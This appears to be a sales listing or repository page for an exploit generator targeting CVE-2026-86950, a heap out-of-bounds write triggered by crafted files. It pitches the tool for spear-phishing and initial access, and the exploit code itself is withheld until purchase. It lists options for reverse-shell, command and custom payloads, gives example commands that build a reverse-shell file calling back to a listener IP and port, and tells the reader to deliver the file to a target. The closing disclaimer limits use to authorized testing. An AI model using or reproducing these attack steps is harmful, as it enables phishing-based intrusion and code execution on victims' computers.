java99999/cve-2026-86950-pocGenerates malicious files that trigger a CVE-2026-86950 out-of-bounds write (CWE-787) heap corruption, with reverse shell, command execution, or custom payload options.
CVE-2026-86950 (CWE-787).
Out-of-bounds write during parsing of a specially crafted file. Missing bounds checks on size/offset fields allow controlled heap corruption when the target application processes the file.
Unauthenticated attacker delivers the file (email, download, share). User interaction required (open/process). Code executes with the privileges of the parsing application.
Useful for red-team phishing/spear-phishing campaigns, initial access on endpoints, and controlled code execution without network authentication.
After purchase you receive the full package archive.
Extract and install dependencies:
pip install -r requirements.txt
python exploit.py [options]
-o, --output <file> Output malicious file (required)
-p, --payload <type> reverse | cmd | custom (default: reverse)
-L, --lhost <ip> Listener IP (for reverse)
-P, --lport <port> Listener port (for reverse)
-c, --cmd <command> Single command to execute
--arch x64|x86 Target architecture (default: x64)
Example (reverse shell):
python exploit.py -o evil.file -p reverse -L 192.168.1.50 -P 4444
Example (one-shot command):
python exploit.py -o evil.file -p cmd -c "whoami > C:\\temp\\out.txt"
Deliver the generated file to the target. When opened/processed by the vulnerable application the OOB write is triggered and the payload executes.
Authorized red-team / penetration testing use only. Unauthorized use is illegal.
Full package available only after purchase.